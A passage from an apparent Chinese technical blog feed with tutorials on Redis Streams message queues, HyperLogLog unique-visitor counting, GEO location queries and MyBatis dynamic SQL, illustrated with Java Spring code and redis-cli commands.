        return redis.opsForStream().acknowledge(streamKey, groupName, recordIds);
    }
    
    /**
     * 查看pending消息
     */
    public PendingMessagesSummary pendingSummary(String streamKey, String groupName) {
        return redis.opsForStream().pending(streamKey, groupName);
    }
}

#

4.2 生产者实现

@Service
public class OrderEventProducer {
    
    @Autowired
    private StreamService streamService;
    
    private static final String ORDER_STREAM = "orders";
    
    /**
     * 发送订单创建事件
     */
    public void sendOrderCreated(Order order) {
        Map<String, String> message = new HashMap<>();
        message.put("eventType", "ORDER_CREATED");
        message.put("orderId", String.valueOf(order.getId()));
        message.put("userId", String.valueOf(order.getUserId()));
        message.put("amount", String.valueOf(order.getAmount()));
        message.put("timestamp", String.valueOf(System.currentTimeMillis()));
        
        RecordId recordId = streamService.addMessage(ORDER_STREAM, message);
        System.out.println("Order event sent: " + recordId);
    }
    
    /**
     * 发送订单支付事件
     */
    public void sendOrderPaid(Long orderId, String paymentId) {
        Map<String, String> message = new HashMap<>();
        message.put("eventType", "ORDER_PAID");
        message.put("orderId", String.valueOf(orderId));
        message.put("paymentId", paymentId);
        message.put("timestamp", String.valueOf(System.currentTimeMillis()));
        
        streamService.addMessage(ORDER_STREAM, message);
    }
}

#

4.3 消费者实现

@Component
public class OrderEventConsumer {
    
    @Autowired
    private StreamService streamService;
    @Autowired
    private OrderService orderService;
    
    private static final String ORDER_STREAM = "orders";
    private static final String GROUP_NAME = "order-processors";
    private static final String CONSUMER_NAME = "consumer-" + UUID.randomUUID().toString().substring(0, 8);
    
    @PostConstruct
    public void init() {
        try {
            streamService.createConsumerGroup(ORDER_STREAM, GROUP_NAME);
        } catch (Exception e) {
            // 组已存在
        }
        
        // 启动消费线程
        startConsuming();
    }
    
    private void startConsuming() {
        new Thread(() -> {
            while (!Thread.interrupted()) {
                try {
                    List<MapRecord<String, Object, Object>> records = 
                        streamService.readMessages(ORDER_STREAM, GROUP_NAME, CONSUMER_NAME, 10);
                    
                    for (MapRecord<String, Object, Object> record : records) {
                        processRecord(record);
                    }
                } catch (Exception e) {
                    System.err.println("消费异常: " + e.getMessage());
                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException ie) {
                        Thread.currentThread().interrupt();
                        break;
                    }
                }
            }
        }).start();
    }
    
    private void processRecord(MapRecord<String, Object, Object> record) {
        try {
            Map<Object, Object> value = record.getValue();
            String eventType = (String) value.get("eventType");
            
            switch (eventType) {
                case "ORDER_CREATED":
                    handleOrderCreated(value);
                    break;
                case "ORDER_PAID":
                    handleOrderPaid(value);
                    break;
                default:
                    System.out.println("Unknown event: " + eventType);
            }
            
            // 确认消息
            streamService.acknowledge(ORDER_STREAM, GROUP_NAME, record.getId().getValue());
            
        } catch (Exception e) {
            System.err.println("处理消息失败: " + e.getMessage());
            // 不确认，消息会留在pending列表
        }
    }
    
    private void handleOrderCreated(Map<Object, Object> value) {
        Long orderId = Long.valueOf((String) value.get("orderId"));
        System.out.println("处理订单创建: " + orderId);
        // 业务处理
    }
    
    private void handleOrderPaid(Map<Object, Object> value) {
        Long orderId = Long.valueOf((String) value.get("orderId"));
        System.out.println("处理订单支付: " + orderId);
        // 业务处理
    }
}

#

4.4 Spring Boot Stream Listener

@Configuration
public class StreamListenerConfig {
    
    @Bean
    public Subscription orderSubscription(RedisConnectionFactory factory) {
        StreamMessageListenerContainer.StreamMessageListenerContainerOptions<String, ObjectRecord<String, String>> options = 
            StreamMessageListenerContainer.StreamMessageListenerContainerOptions.builder()
                .pollTimeout(Duration.ofSeconds(1))
                .build();
        
        StreamMessageListenerContainer<String, ObjectRecord<String, String>> container = 
            StreamMessageListenerContainer.create(factory, options);
        
        Consumer consumer = Consumer.from("order-group", "consumer-1");
        StreamOffset<String> offset = StreamOffset.create("orders", ReadOffset.lastConsumed());
        
        Subscription subscription = container.receive(consumer, offset, message -> {
            System.out.println("Received: " + message.getValue());
        });
        
        container.start();
        return subscription;
    }
}

五、Stream vs List作为消息队列

特性StreamList
消息持久化是是
消息ID自动生成时间戳ID无（需自己维护）
消费者组原生支持不支持
消息确认支持ACK不支持
消息回溯支持不支持（pop后删除）
消息数量可查询可查询
消息内容支持多字段单个String
阻塞读取支持支持（BLPOP）
适用场景复杂消息队列简单队列

六、最佳实践

#

6.1 消息清理

# 设置Stream最大长度（自动清理旧消息）
XADD mystream MAXLEN ~ 10000 * field value

# 手动裁剪
XTRIM mystream MAXLEN 10000

# 定期清理（配合过期时间无法实现，Stream不支持expire）
# 建议：
# 1. 使用MAXLEN自动裁剪
# 2. 定期XTRIM
# 3. 按时间归档到持久化存储

#

6.2 异常处理

@Component
public class StreamErrorHandler {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 处理pending消息（消费失败的消息）
     */
    @Scheduled(fixedRate = 60000)  // 每分钟检查
    public void handlePendingMessages() {
        String streamKey = "orders";
        String groupName = "order-processors";
        
        // 获取pending消息
        PendingMessagesSummary summary = redis.opsForStream().pending(streamKey, groupName);
        
        if (summary.getTotalPendingMessages() > 0) {
            // 获取详细信息
            Range<String> range = Range.closed("-", "+");
            PendingMessages pending = redis.opsForStream().pending(
                streamKey, groupName, 
                Consumer.from(groupName, "consumer-1"),
                range, 100
            );
            
            for (PendingMessage message : pending) {
                // 如果消息被多次消费失败，可以：
                // 1. 转移到死信队列
                // 2. 记录日志人工处理
                // 3. 删除消息（不推荐）
                
                if (message.getTotalDeliveryCount() > 3) {
                    // 超过3次，转移到死信队列
                    redis.opsForStream().add("orders:dlq", 
                        Collections.singletonMap("originalId", message.getIdAsString()));
                    
                    // 确认原消息
                    redis.opsForStream().acknowledge(streamKey, groupName, message.getIdAsString());
                }
            }
        }
    }
}

#

6.3 监控

# 查看Stream长度
XLEN mystream

# 查看消费者组状态
XINFO GROUPS mystream

# 查看pending消息数
XPENDING mystream mygroup

# 查看消费者状态
XINFO CONSUMERS mystream mygroup

七、总结

场景推荐方案
简单队列List + BLPOP
复杂消息队列Stream + 消费者组
需要ACK确认Stream
需要消息回溯Stream
日志收集Stream
事件驱动架构Stream + 多消费者组

Stream的核心价值：

  1. 消息持久化：不丢失消息
  2. 消费者组：负载均衡和广播
  3. 消息确认：可靠消费
  4. 消息回溯：可重新消费历史消息

使用建议：

  1. 使用MAXLEN控制Stream大小
  2. 及时处理pending消息
  3. 合理设置消费者组数量
  4. 监控Stream长度和消费者延迟

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Redis HyperLogLog基数统计 //redis-hyperloglog-cardinality/ Redis HyperLogLog基数统计

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、HyperLogLog原理

#

1.1 问题背景

场景：统计网站UV（独立访客数）

传统方案：使用Set存储每个用户ID
- 100万UV → 约100MB内存
- 1亿UV → 约10GB内存

HyperLogLog方案：
- 100万UV → 12KB内存
- 1亿UV → 12KB内存
- 100亿UV → 12KB内存

#

1.2 核心思想

HyperLogLog基于概率统计：

1. 对每个元素计算哈希值
2. 观察哈希值二进制表示中前导0的个数
3. 前导0越多，说明需要更多不同的元素才能出现

示例：
哈希值 h(x) 的二进制表示：
- h(A) = 00101101...  → 前导0个数 = 2
- h(B) = 00001011...  → 前导0个数 = 4
- h(C) = 00000001...  → 前导0个数 = 6

如果发现最大前导0个数为k，
则估算元素数量约为 2^k

上例中最大k=6，估算数量 ≈ 2^6 = 64

#

1.3 分桶平均

为减少偶然性，HyperLogLog使用多个桶：

1. 将哈希值分成两部分：
   - 前b位：决定放入哪个桶（2^b个桶）
   - 剩余位：计算前导0个数

2. 每个桶记录看到的最大前导0个数

3. 最终估算使用调和平均数：
   E = α_m * m^2 / Σ(2^(-M[j]))
   
   其中：
   m = 桶数量（通常为2^14 = 16384）
   M[j] = 第j个桶的最大前导0数
   α_m = 偏差修正系数

#

1.4 内存占用

Redis HyperLogLog使用16384个桶（2^14）
每个桶需要6bit存储最大前导0数（最大64个0）

总内存 = 16384 × 6bit = 98304bit = 12288字节 = 12KB

无论统计多少元素，内存固定12KB！

二、Redis HyperLogLog命令

#

2.1 基本命令

# 添加元素
PFADD page:uv:20240101 user1001 user1002 user1003
# (integer) 1  # 结构发生变化返回1

# 批量添加
PFADD page:uv:20240101 user1004 user1005

# 估算基数
PFCOUNT page:uv:20240101
# (integer) 5

# 合并多个HyperLogLog
PFMERGE page:uv:week1 page:uv:20240101 page:uv:20240102 page:uv:20240103
PFCOUNT page:uv:week1

#

2.2 实际示例

# 添加10000个元素
for i in {1..10000}; do
    redis-cli PFADD hll_test "user_$i"
done

# 查看内存占用
redis-cli DEBUG OBJECT hll_test
# serializedlength:12353  # 约12KB

# 查看估算值
redis-cli PFCOUNT hll_test
# (integer) 9977  # 误差约0.23%

# 添加100万个元素
for i in {10001..1000000}; do
    redis-cli PFADD hll_test "user_$i"
done

# 内存仍然约12KB
redis-cli DEBUG OBJECT hll_test
# serializedlength:12353

# 查看估算值
redis-cli PFCOUNT hll_test
# (integer) 998263  # 误差约0.17%

三、Java中使用HyperLogLog

#

3.1 Spring Data Redis

@Service
public class HyperLogLogService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 添加访问记录
     */
    public Long addVisit(String key, String... userIds) {
        return redis.opsForHyperLogLog().add(key, userIds);
    }
    
    /**
     * 获取UV数
     */
    public Long getUV(String key) {
        return redis.opsForHyperLogLog().size(key);
    }
    
    /**
     * 合并多个日期的UV
     */
    public Long mergeUV(String destinationKey, String... sourceKeys) {
        return redis.opsForHyperLogLog().union(destinationKey, sourceKeys);
    }
    
    /**
     * 删除HyperLogLog
     */
    public void deleteUV(String key) {
        redis.delete(key);
    }
}

#

3.2 UV统计应用

@Service
public class UVStatisticsService {
    
    @Autowired
    private HyperLogLogService hyperLogLogService;
    
    /**
     * 记录页面访问
     */
    public void recordPageView(Long userId, String page) {
        String today = LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);
        String key = "uv:page:" + page + ":" + today;
        
        hyperLogLogService.addVisit(key, String.valueOf(userId));
    }
    
    /**
     * 获取页面今日UV
     */
    public Long getTodayPageUV(String page) {
        String today = LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);
        String key = "uv:page:" + page + ":" + today;
        
        return hyperLogLogService.getUV(key);
    }
    
    /**
     * 获取页面本周UV
     */
    public Long getWeekPageUV(String page) {
        LocalDate today = LocalDate.now();
        String[] dayKeys = new String[7];
        
        for (int i = 0; i < 7; i++) {
            String day = today.minusDays(i).format(DateTimeFormatter.BASIC_ISO_DATE);
            dayKeys[i] = "uv:page:" + page + ":" + day;
        }
        
        String weekKey = "uv:page:" + page + ":week:" + today;
        return hyperLogLogService.mergeUV(weekKey, dayKeys);
    }
    
    /**
     * 获取页面本月UV
     */
    public Long getMonthPageUV(String page) {
        LocalDate today = LocalDate.now();
        String month = today.format(DateTimeFormatter.ofPattern("yyyyMM"));
        
        // 获取当月所有天的key
        List<String> dayKeys = new ArrayList<>();
        for (int i = 1; i <= today.getDayOfMonth(); i++) {
            String day = String.format("%s%02d", month, i);
            dayKeys.add("uv:page:" + page + ":" + day);
        }
        
        String monthKey = "uv:page:" + page + ":month:" + month;
        return hyperLogLogService.mergeUV(monthKey, dayKeys.toArray(new String[0]));
    }
}

#

3.3 搜索去重统计

@Service
public class SearchStatisticsService {
    
    @Autowired
    private HyperLogLogService hyperLogLogService;
    
    /**
     * 记录搜索关键词
     */
    public void recordSearch(String keyword, Long userId) {
        // 记录总搜索UV
        hyperLogLogService.addVisit("search:uv:total", String.valueOf(userId));
        
        // 记录关键词搜索UV
        hyperLogLogService.addVisit("search:uv:" + keyword, String.valueOf(userId));
        
        // 记录今日搜索UV
        String today = LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);
        hyperLogLogService.addVisit("search:uv:daily:" + today, String.valueOf(userId));
    }
    
    /**
     * 获取搜索关键词的独立用户数
     */
    public Long getKeywordUV(String keyword) {
        return hyperLogLogService.getUV("search:uv:" + keyword);
    }
    
    /**
     * 获取搜索关键词的热门程度排名
     */
    public List<KeywordUV> getTopKeywords(List<String> keywords) {
        List<KeywordUV> result = new ArrayList<>();
        
        for (String keyword : keywords) {
            Long uv = hyperLogLogService.getUV("search:uv:" + keyword);
            result.add(new KeywordUV(keyword, uv));
        }
        
        result.sort((a, b) -> Long.compare(b.getUv(), a.getUv()));
        return result;
    }
}

#

3.4 广告曝光去重

@Service
public class AdStatisticsService {
    
    @Autowired
    private HyperLogLogService hyperLogLogService;
    
    /**
     * 记录广告曝光
     */
    public void recordAdExposure(String adId, Long userId, String deviceId) {
        String today = LocalDate.now().format(DateTimeFormatter.BASIC_ISO_DATE);
        
        // 按用户ID去重
        hyperLogLogService.addVisit("ad:uv:user:" + adId + ":" + today, String.valueOf(userId));
        
        // 按设备ID去重
        hyperLogLogService.addVisit("ad:uv:device:" + adId + ":" + today, deviceId);
    }
    
    /**
     * 获取广告日曝光UV
     */
    public Long getAdDailyUV(String adId, String date) {
        return hyperLogLogService.getUV("ad:uv:user:" + adId + ":" + date);
    }
    
    /**
     * 获取广告总曝光UV
     */
    public Long getAdTotalUV(String adId) {
        // 合并所有日期的数据
        Set<String> keys = redis.keys("ad:uv:user:" + adId + ":*");
        if (keys == null || keys.isEmpty()) {
            return 0L;
        }
        
        return hyperLogLogService.mergeUV("ad:uv:user:" + adId + ":total", 
            keys.toArray(new String[0]));
    }
}

四、误差分析

#

4.1 误差特性

HyperLogLog的标准误差：约0.81%

这意味着：
- 真实值100万，估算值可能在99.19万~100.81万之间
- 真实值1亿，估算值可能在9919万~1.0081亿之间

误差特性：
- 小基数时（< 2.5 * m），误差较大，Redis会使用Linear Counting修正
- 中等基数时，标准误差约0.81%
- 大基数时，误差稳定

#

4.2 误差测试

@Component
public class HyperLogLogAccuracyTest {
    
    @Autowired
    private StringRedisTemplate redis;
    
    public void testAccuracy() {
        String key = "hll:accuracy:test";
        
        int[] testSizes = {1000, 10000, 100000, 1000000};
        
        for (int size : testSizes) {
            redis.delete(key);
            
            // 添加size个不同元素
            for (int i = 0; i < size; i++) {
                redis.opsForHyperLogLog().add(key, "user_" + i);
            }
            
            Long estimate = redis.opsForHyperLogLog().size(key);
            double error = Math.abs(estimate - size) * 100.0 / size;
            
            System.out.printf("真实值: %d, 估算值: %d, 误差: %.2f%%%n", 
                size, estimate, error);
        }
    }
}

// 输出示例：
// 真实值: 1000, 估算值: 982, 误差: 1.80%
// 真实值: 10000, 估算值: 10023, 误差: 0.23%
// 真实值: 100000, 估算值: 99891, 误差: 0.11%
// 真实值: 1000000, 估算值: 998263, 误差: 0.17%

五、与Set对比

特性HyperLogLogSet
内存占用12KB（固定）与元素数成正比
100万元素12KB~100MB
1亿元素12KB~10GB
精确度概率估算（0.81%误差）精确
获取元素不支持SMEMBERS
判断存在不支持SISMEMBER
合并支持（内存不变）SUNION（内存增加）

六、最佳实践

#

6.1 适用场景

适合使用HyperLogLog：
- UV统计（独立访客）
- 搜索去重统计
- 广告曝光去重
- IP去重统计
- 大数据量去重计数

不适合使用HyperLogLog：
- 需要精确计数的场景（如订单数）
- 需要获取具体元素的场景
- 基数很小的场景（< 1000）

#

6.2 优化建议

@Service
public class HyperLogLogBestPractice {
    
    /**
     * 1. 合理设置key过期时间，自动清理历史数据
     */
    public void addWithExpire(String key, String element, int days) {
        redis.opsForHyperLogLog().add(key, element);
        redis.expire(key, days, TimeUnit.DAYS);
    }
    
    /**
     * 2. 定期合并历史数据，减少key数量
     */
    public void mergeHistory(String pattern, String destination) {
        Set<String> keys = redis.keys(pattern);
        if (keys != null && !keys.isEmpty()) {
            redis.opsForHyperLogLog().union(destination, keys.toArray(new String[0]));
            redis.delete(keys);
        }
    }
    
    /**
     * 3. 小基数场景使用Set，大基数切换为HyperLogLog
     */
    public void adaptiveCount(String key, String element) {
        String setKey = key + ":set";
        String hllKey = key + ":hll";
        
        Long setSize = redis.opsForSet().size(setKey);
        
        if (setSize != null && setSize < 10000) {
            // 小基数用Set
            redis.opsForSet().add(setKey, element);
        } else {
            // 大基数切换到HyperLogLog
            if (setSize != null && setSize > 0) {
                // 迁移已有数据
                Set<String> members = redis.opsForSet().members(setKey);
                if (members != null) {
                    redis.opsForHyperLogLog().add(hllKey, members.toArray(new String[0]));
                }
                redis.delete(setKey);
            }
            redis.opsForHyperLogLog().add(hllKey, element);
        }
    }
}

七、总结

指标数值
内存占用12KB（固定）
标准误差~0.81%
最大统计基数约 2^64
单个桶数16384

HyperLogLog的核心价值：

  1. 极致的空间效率：12KB统计百亿级数据
  2. 常数查询时间：O(1)获取估算值
  3. 可合并性：多个HLL可合并统计

使用建议：

  1. 大数据量去重计数首选
  2. 可接受约1%误差的场景
  3. 不需要获取具体元素的场景
  4. 配合过期时间自动清理

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Redis GEO地理位置应用 //redis-geo-location-application/ Redis GEO地理位置应用

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、GEO基本原理

#

1.1 底层实现

Redis GEO基于Sorted Set（ZSet）实现：

地理位置编码：
- 将经纬度（二维）通过GeoHash算法编码为52位整数
- 经度、纬度各编码26位，交错合并
- 编码值作为ZSet的score

存储结构：
ZSet key: "locations"
  member: "shop:1001", score: GeoHash编码值
  member: "shop:1002", score: GeoHash编码值

#

1.2 GeoHash算法

GeoHash将地球表面递归划分为网格：

第1次划分：经度2份，纬度2份 → 4个区域
第2次划分：每个区域再分4份 → 16个区域
...递归n次

编码后的值相邻表示地理位置相近
（但不绝对，存在边界问题）

示例：
北京天安门：wx4g0b7x
北京王府井：wx4g0c8v
上海外滩：wtw3sjq6

二、GEO命令

#

2.1 添加位置

# GEOADD key longitude latitude member [longitude latitude member ...]
GEOADD shops 116.4074 39.9042 "shop:1001"   # 北京
GEOADD shops 121.4737 31.2304 "shop:1002"   # 上海
GEOADD shops 113.2644 23.1291 "shop:1003"   # 广州
GEOADD shops 114.0579 22.5431 "shop:1004"   # 深圳

# 查看编码值（底层就是ZSet）
ZRANGE shops 0 -1 WITHSCORES

#

2.2 获取位置

# GEOPOS key member [member ...]
GEOPOS shops shop:1001
# 1) 1) "116.40740543603897"    # 经度
#    2) "39.904211364871584"    # 纬度

GEOPOS shops shop:1001 shop:1002

#

2.3 计算距离

# GEODIST key member1 member2 [M|KM|FT|MI]
GEODIST shops shop:1001 shop:1002 KM
# "1067.3788"  # 北京到上海约1067公里

GEODIST shops shop:1003 shop:1004 KM
# "119.0316"   # 广州到深圳约119公里

GEODIST shops shop:1001 shop:1001 M
# "0"          # 同一点距离为0

#

2.4 范围查询

# GEORADIUS key longitude latitude radius M|KM|FT|MI [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC]

# 查询北京（116.40, 39.90）附近500公里内的店铺
GEORADIUS shops 116.40 39.90 500 KM WITHDIST
# 1) 1) "shop:1001"
#    2) "0.0981"        # 距离约0.1公里（北京）

# 查询北京附近1000公里内的店铺，按距离排序
GEORADIUS shops 116.40 39.90 1000 KM WITHDIST ASC COUNT 5

# 查询北京附近2000公里内的店铺，返回坐标
GEORADIUS shops 116.40 39.90 2000 KM WITHCOORD WITHDIST
# 1) 1) "shop:1001"
#    2) "0.0981"
#    3) 1) "116.40740543603897"
#       2) "39.904211364871584"
# 2) 1) "shop:1003"
#    2) "1888.4633"
#    3) 1) "113.26439946889877"
#       2) "23.129099598793785"

#

2.5 基于成员的范围查询

# GEORADIUSBYMEMBER key member radius M|KM|FT|MI [WITHCOORD] [WITHDIST] [WITHHASH] [COUNT count] [ASC|DESC]

# 查询shop:1001（北京）附近1500公里内的店铺
GEORADIUSBYMEMBER shops shop:1001 1500 KM WITHDIST

#

2.6 获取GeoHash

# GEOHASH key member [member ...]
GEOHASH shops shop:1001 shop:1002
# 1) "wx4g0b7x"
# 2) "wtw3sjq6"

三、Java中使用Redis GEO

#

3.1 Spring Data Redis

@Service
public class GeoService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 添加地理位置
     */
    public Long addLocation(String key, String member, double longitude, double latitude) {
        return redis.opsForGeo().add(key, new Point(longitude, latitude), member);
    }
    
    /**
     * 批量添加位置
     */
    public Long addLocations(String key, Map<String, Point> memberLocations) {
        Map<Object, Point> map = new HashMap<>(memberLocations);
        return redis.opsForGeo().add(key, map);
    }
    
    /**
     * 查询附近的位置
     */
    public List<GeoResult<RedisGeoCommands.GeoLocation<String>>> findNearby(
            String key, double longitude, double latitude, double radiusKm, int limit) {
        
        Circle circle = new Circle(new Point(longitude, latitude), 
            new Distance(radiusKm, Metrics.KILOMETERS));
        
        RedisGeoCommands.GeoRadiusCommandArgs args = 
            RedisGeoCommands.GeoRadiusCommandArgs.newGeoRadiusArgs()
                .includeDistance()
                .includeCoordinates()
                .sortAscending()
                .limit(limit);
        
        GeoResults<RedisGeoCommands.GeoLocation<String>> results = 
            redis.opsForGeo().radius(key, circle, args);
        
        return results.getContent();
    }
    
    /**
     * 查询指定成员附近的位置
     */
    public List<GeoResult<RedisGeoCommands.GeoLocation<String>>> findNearbyByMember(
            String key, String member, double radiusKm, int limit) {
        
        Distance distance = new Distance(radiusKm, Metrics.KILOMETERS);
        
        RedisGeoCommands.GeoRadiusCommandArgs args = 
            RedisGeoCommands.GeoRadiusCommandArgs.newGeoRadiusArgs()
                .includeDistance()
                .sortAscending()
                .limit(limit);
        
        GeoResults<RedisGeoCommands.GeoLocation<String>> results = 
            redis.opsForGeo().radius(key, member, distance, args);
        
        return results.getContent();
    }
    
    /**
     * 计算两个位置的距离
     */
    public Distance calculateDistance(String key, String member1, String member2) {
        return redis.opsForGeo().distance(key, member1, member2, Metrics.KILOMETERS);
    }
    
    /**
     * 获取位置的经纬度
     */
    public List<Point> getPositions(String key, String... members) {
        return redis.opsForGeo().position(key, members);
    }
    
    /**
     * 删除位置
     */
    public Long removeLocation(String key, String... members) {
        return redis.opsForGeo().remove(key, (Object[]) members);
    }
}

#

3.2 实际应用：附近的人

@Service
public class NearbyService {
    
    @Autowired
    private GeoService geoService;
    @Autowired
    private UserMapper userMapper;
    
    private static final String USER_LOCATIONS = "user:locations";
    
    /**
     * 更新用户位置
     */
    public void updateLocation(Long userId, double longitude, double latitude) {
        geoService.addLocation(USER_LOCATIONS, "user:" + userId, longitude, latitude);
        
        // 同时更新数据库（持久化）
        userMapper.updateLocation(userId, longitude, latitude);
    }
    
    /**
     * 查找附近的人
     */
    public List<NearbyUser> findNearbyUsers(Long userId, double radiusKm, int limit) {
        // 获取自己的位置
        List<Point> positions = geoService.getPositions(USER_LOCATIONS, "user:" + userId);
        if (positions.isEmpty() || positions.get(0) == null) {
            return Collections.emptyList();
        }
        
        Point myLocation = positions.get(0);
        
        // 查询附近的人
        List<GeoResult<RedisGeoCommands.GeoLocation<String>>> results = 
            geoService.findNearby(USER_LOCATIONS, myLocation.getX(), myLocation.getY(), radiusKm, limit + 1);
        
        List<NearbyUser> nearbyUsers = new ArrayList<>();
        for (GeoResult<RedisGeoCommands.GeoLocation<String>> result : results) {
            String member = result.getContent().getName();
            if (member.equals("user:" + userId)) {
                continue;  // 排除自己
            }
            
            Long nearbyUserId = Long.parseLong(member.replace("user:", ""));
            double distance = result.getDistance().getValue();
            
            nearbyUsers.add(new NearbyUser(nearbyUserId, distance));
        }
        
        return nearbyUsers;
    }
    
    /**
     * 查找附近的商家
     */
    public List<NearbyShop> findNearbyShops(double longitude, double latitude, 
                                            double radiusKm, int limit) {
        List<GeoResult<RedisGeoCommands.GeoLocation<String>>> results = 
            geoService.findNearby("shops", longitude, latitude, radiusKm, limit);
        
        List<NearbyShop> shops = new ArrayList<>();
        for (GeoResult<RedisGeoCommands.GeoLocation<String>> result : results) {
            String member = result.getContent().getName();
            Long shopId = Long.parseLong(member.replace("shop:", ""));
            double distance = result.getDistance().getValue();
            
            shops.add(new NearbyShop(shopId, distance));
        }
        
        return shops;
    }
}

#

3.3 实际应用：配送范围

@Service
public class DeliveryService {
    
    @Autowired
    private GeoService geoService;
    
    private static final String DELIVERY_POINTS = "delivery:points";
    
    /**
     * 检查地址是否在配送范围内
     */
    public boolean isInDeliveryRange(double longitude, double latitude, double maxDistanceKm) {
        List<GeoResult<RedisGeoCommands.GeoLocation<String>>> results = 
            geoService.findNearby(DELIVERY_POINTS, longitude, latitude, maxDistanceKm, 1);
        
        return !results.isEmpty();
    }
    
    /**
     * 查找最近的配送点
     */
    public DeliveryPoint findNearestPoint(double longitude, double latitude) {
        List<GeoResult<RedisGeoCommands.GeoLocation<String>>> results = 
            geoService.findNearby(DELIVERY_POINTS, longitude, latitude, 100, 1);
        
        if (results.isEmpty()) {
            return null;
        }
        
        String member = results.get(0).getContent().getName();
        double distance = results.get(0).getDistance().getValue();
        
        return new DeliveryPoint(member, distance);
    }
}

四、性能优化

#

4.1 数据分片

@Service
public class ShardedGeoService {
    
    private static final int SHARD_COUNT = 10;
    
    /**
     * 根据位置计算分片
     */
    private String getShardKey(double longitude, double latitude) {
        // 使用GeoHash前缀作为分片依据
        // 或使用城市编码
        int shard = (int) ((longitude + 180) / 360 * SHARD_COUNT);
        return "locations:shard:" + shard;
    }
    
    public void addLocation(String member, double longitude, double latitude) {
        String shardKey = getShardKey(longitude, latitude);
        geoService.addLocation(shardKey, member, longitude, latitude);
    }
    
    public List<GeoResult<RedisGeoCommands.GeoLocation<String>>> findNearby(
            double longitude, double latitude, double radiusKm, int limit) {
        // 查询相邻的几个分片
        List<GeoResult<RedisGeoCommands.GeoLocation<String>>> allResults = new ArrayList<>();
        
        for (int i = -1; i <= 1; i++) {
            int shard = (int) ((longitude + 180) / 360 * SHARD_COUNT) + i;
            if (shard >= 0 && shard < SHARD_COUNT) {
                String shardKey = "locations:shard:" + shard;
                List<GeoResult<RedisGeoCommands.GeoLocation<String>>> results = 
                    geoService.findNearby(shardKey, longitude, latitude, radiusKm, limit);
                allResults.addAll(results);
            }
        }
        
        // 按距离排序并取前N个
        allResults.sort(Comparator.comparingDouble(r -> r.getDistance().getValue()));
        return allResults.stream().limit(limit).collect(Collectors.toList());
    }
}

#

4.2 定期清理过期位置

@Component
public class GeoCleanupService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 清理超过30分钟未更新的位置
     */
